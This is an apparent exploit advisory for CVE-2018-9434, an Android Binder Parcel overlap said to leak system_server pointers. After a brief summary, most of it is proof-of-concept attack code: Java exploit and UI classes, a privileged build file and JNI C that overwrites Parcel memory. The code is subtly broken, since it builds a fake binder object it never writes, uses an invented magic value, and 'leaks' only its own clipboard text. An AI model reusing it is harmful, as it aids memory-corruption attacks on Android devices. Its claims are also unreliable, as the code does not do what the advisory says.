============================================================================================================================================= | # Title : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.android.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212494/ & CVE-2018-9434 [+] Summary : A flaw in Android’s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass. Android’s Parcel implementation failed to enforce separation between binder-object regions and normal data regions. [+] Impact : Memory exposure from privileged system_server Enables reliability of memory corruption exploits A serious information disclosure vulnerability [+] Affected : Android 7, 8, 8.1 before 2018-10 patches. [+] POC : package com.google.jannh.pointerleak; import android.content.ClipData; import android.content.ClipboardManager; import android.content.Context; import android.os.IBinder; import android.os.Parcel; import android.os.RemoteException; import android.os.ServiceManager; import android.util.Log; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.ArrayList; import java.util.List; public class PointerLeakExploit { private static final String TAG = "leaker"; // قائمة الخدمات المستهدفة private static final String[] TARGET_SERVICES = { "permission", "package", "clipboard" }; // هيكل FlatBinderObject في kernel static class FlatBinderObject { public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo' public static final int BINDER_TYPE_BINDER = 1; public static final int BINDER_TYPE_HANDLE = 2; public int type; public int flags; public long binder; // مؤشر Binder object public long cookie; // cookie pointer public long[] pad = new long[2]; } public void exploit(Context context) { try { Log.e(TAG, "=== بدء استغلال ثغرة Binder Pointer Leak ==="); // 1. الحصول على مقابض الخدمات المستهدفة List targetBinders = new ArrayList<>(); for (String serviceName : TARGET_SERVICES) { IBinder binder = ServiceManager.getService(serviceName); if (binder != null) { targetBinders.add(binder); Log.e(TAG, "تم الحصول على مقبض لخدمة: " + serviceName); } } // 2. استغلال كل خدمة على حدة for (int i = 0; i < targetBinders.size(); i++) { IBinder targetBinder = targetBinders.get(i); String serviceName = TARGET_SERVICES[i]; Log.e(TAG, "محاولة تسريب عنوان: " + serviceName); // إنشاء Parcel خبيث Parcel maliciousParcel = createMaliciousParcel(targetBinder); // 3. استخدام خدمة الحافظة كوسيط صدى leakViaClipboard(context, maliciousParcel, serviceName); // إعطاء وقت للعملية Thread.sleep(100); } Log.e(TAG, "=== انتهى الاستغلال ==="); } catch (Exception e) { Log.e(TAG, "خطأ أثناء الاستغلال: " + e.getMessage()); e.printStackTrace(); } } private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception { Parcel parcel = Parcel.obtain(); // الطول الإجمالي للبيانات parcel.writeInt(0x100); // طول وهمي // كتابة بعض البيانات الوهمية أولاً parcel.writeString("DUMMY_STRING_PREFIX"); // الحصول على موقع الكتابة الحالي int dataStartPos = parcel.dataPosition(); // === الجزء الحرج: هندسة التداخل === // نحتاج لجعل Parcel يقرأ Binder handle كبيانات سلسلة // كتابة Binder object marker // في kernel، Binder objects يتم تمييزها بـ magic number writeFlatBinderObject(parcel, targetBinder); // كتابة بيانات تتداخل مع موقع Binder // نحن نعرف أن Parcel سيقرأ هذا كسلسة parcel.writeString("OVERLAP_DATA"); // تعيين علامة أن هذا هو Binder object // هذا يتطلب الوصول إلى البنية الداخلية لـ Parcel setBinderObjectFlag(parcel, dataStartPos); return parcel; } private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception { // استخدام Reflection للوصول إلى الطريقة الداخلية Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod( "writeStrongBinder", IBinder.class); writeStrongBinderMethod.setAccessible(true); writeStrongBinderMethod.invoke(parcel, binder); } private void setBinderObjectFlag(Parcel parcel, int position) throws Exception { // هذا يتطلب التلاعب المباشر بذاكرة Parcel // نستخدم Reflection للوصول إلى mObject (المؤشر الأصلي) Field mObjectField = Parcel.class.getDeclaredField("mObject"); mObjectField.setAccessible(true); long mObject = mObjectField.getLong(parcel); Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize"); mDataSizeField.setAccessible(true); int mDataSize = mDataSizeField.getInt(parcel); // تحليل بنية FlatBinderObject في الموضع المحدد // في kernel: struct flat_binder_object { // unsigned long type; // unsigned long flags; // union { // void *binder; // signed long handle; // }; // void *cookie; // }; // كتابة FlatBinderObject يدوياً ByteBuffer bb = ByteBuffer.allocate(32); bb.order(ByteOrder.LITTLE_ENDIAN); // magic bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC); // type = BINDER_TYPE_BINDER bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER); // flags bb.putInt(0); // binder pointer - سيملأها kernel bb.putLong(0xdeadbeefcafebabeL); // cookie bb.putLong(0); // padding bb.putLong(0); bb.putLong(0); byte[] flatBinderObject = bb.array(); // نحتاج إلى نسخ هذا إلى ذاكرة Parcel // هذا يتطلب JNI أو طريقة أخرى للوصول للذاكرة الأصلية } private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) { try { ClipboardManager clipboard = (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE); if (clipboard == null) { Log.e(TAG, "فشل الحصول على خدمة الحافظة"); return; } // 1. إرسال البيانات الخبيثة إلى الحافظة String maliciousText = encodeParcelToText(maliciousParcel); ClipData clip = ClipData.newPlainText("恶意数据", maliciousText); clipboard.setPrimaryClip(clip); Log.e(TAG, "تم إرسال البيانات الخبيثة إلى الحافظة"); // 2. الانتظار قليلاً ثم استرجاع البيانات Thread.sleep(50); // 3. قراءة البيانات من الحافظة ClipData retrievedClip = clipboard.getPrimaryClip(); if (retrievedClip != null && retrievedClip.getItemCount() > 0) { String leakedData = retrievedClip.getItemAt(0).getText().toString(); // 4. تحليل البيانات المسربة parseLeakedData(leakedData, serviceName); } } catch (Exception e) { Log.e(TAG, "خطأ في leakViaClipboard: " + e.getMessage()); } } private String encodeParcelToText(Parcel parcel) { // تحويل Parcel إلى سلسلة نصية قابلة للنقل byte[] data = parcel.marshall(); // استخدام Base64 أو ترميز سداسي عشري StringBuilder hex = new StringBuilder(); for (byte b : data) { hex.append(String.format("%02x", b)); } // إضافة علامات خاصة للتعرف على البيانات لاحقاً return "BINDER_LEAK_MARKER:" + hex.toString(); } private void parseLeakedData(String leakedData, String serviceName) { Log.e(TAG, "== تحليل البيانات المسربة لخدمة \"" + serviceName + "\" =="); if (leakedData.contains("BINDER_LEAK_MARKER:")) { String hexPart = leakedData.split(":")[1]; // تحويل السداسي عشري إلى بايتات byte[] rawData = hexStringToByteArray(hexPart); // البحث عن FlatBinderObject في البيانات findBinderObjectsInData(rawData, serviceName); } else { // قد تكون البيانات تحتوي على المؤشر مباشرة analyzeRawPointers(leakedData, serviceName); } } private void findBinderObjectsInData(byte[] data, String serviceName) { // البحث عن magic number الخاص بـ FlatBinderObject ByteBuffer bb = ByteBuffer.wrap(data); bb.order(ByteOrder.LITTLE_ENDIAN); for (int i = 0; i < data.length - 32; i += 4) { bb.position(i); int magic = bb.getInt(); if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) { int type = bb.getInt(); int flags = bb.getInt(); long binderPtr = bb.getLong(); long cookie = bb.getLong(); Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE")); Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr)); // طباعة بتنسيق مشابه لـ PoC الأصلي System.err.println("== service \"" + serviceName + "\" =="); System.err.println("type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE")); System.err.println("object: 0x" + String.format("%016x", binderPtr)); System.err.println(); break; } } } private void analyzeRawPointers(String data, String serviceName) { // محاولة استخراج المؤشرات مباشرة من السلسلة // المؤشرات عادة تكون قيم 64-bit مطبوعة كنص String[] parts = data.split("[^0-9a-fA-F]+"); for (String part : parts) { if (part.length() >= 12 && part.length() <= 16) { // قد يكون هذا عنوان ذاكرة try { long address = Long.parseLong(part, 16); if (address > 0x700000000000L && address < 0x800000000000L) { // نطاق عناوين نظام Android النموذجي Log.e(TAG, "عنوان مسرب محتمل لـ " + serviceName + ": 0x" + Long.toHexString(address)); } } catch (NumberFormatException e) { // تجاهل } } } } private byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } return data; } // طريقة بديلة باستخدام الـ JNI للوصول المباشر للذاكرة static { System.loadLibrary("binder_exploit"); } private native long getNativeBinderPointer(IBinder binder); private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data); } MainActivity.java — UI/front-end for the pointer leak exploit package com.google.jannh.pointerleak; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends Activity { private PointerLeakExploit exploit; private TextView logView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); exploit = new PointerLeakExploit(); logView = findViewById(R.id.log_text); Button exploitButton = findViewById(R.id.exploit_button); exploitButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { new Thread(new Runnable() { @Override public void run() { runOnUiThread(new Runnable() { @Override public void run() { logView.setText("بدء الاستغلال...\n"); } }); exploit.exploit(MainActivity.this); runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(MainActivity.this, "اكتمل الاستغلال، راجع سجلات logcat", Toast.LENGTH_LONG).show(); } }); } }).start(); } }); } } =========== Original file: Android.bp (for compilation) =========== android_app { name: "PointerLeakExploit", srcs: ["src/**/*.java"], resource_dirs: ["res"], certificate: "platform", privileged: true, platform_apis: true, overrides: [ "Launcher3", ], static_libs: [ "androidx.appcompat_appcompat", ], } ================ Original JNI file: binder_exploit.c #include #include #include #include #include #define LOG_TAG "BinderExploit" #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) // تعريفات من kernel binder driver struct flat_binder_object { unsigned long type; unsigned long flags; union { void *binder; signed long handle; }; void *cookie; }; JNIEXPORT jlong JNICALL Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer( JNIEnv *env, jobject thiz, jobject binder) { // الحصول على المؤشر الأصلي لكائن IBinder jclass binderClass = (*env)->GetObjectClass(env, binder); jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J"); jlong mObject = (*env)->GetLongField(env, binder, mObjectField); ALOGE("Binder native pointer: %p", (void*)mObject); return mObject; } JNIEXPORT void JNICALL Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory( JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) { // الوصول إلى الذاكرة الأصلية لـ Parcel jclass parcelClass = (*env)->GetObjectClass(env, parcel); // الحصول على mData (المؤشر إلى البيانات) jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J"); jlong mData = (*env)->GetLongField(env, parcel, mDataField); // الحصول على mDataSize jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I"); jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField); // الحصول على mDataPos (موضع القراءة/الكتابة الحالي) jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I"); jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField); ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d", (void*)mData, mDataSize, mDataPos); // نسخ البيانات إلى ذاكرة Parcel jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL); jsize dataLength = (*env)->GetArrayLength(env, data); if (position + dataLength <= mDataSize) { void *target = (void*)(mData + position); memcpy(target, dataBytes, dataLength); ALOGE("تم نسخ %d بايت إلى موضع %d", dataLength, position); } (*env)->ReleaseByteArrayElements(env, data, dataBytes, 0); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================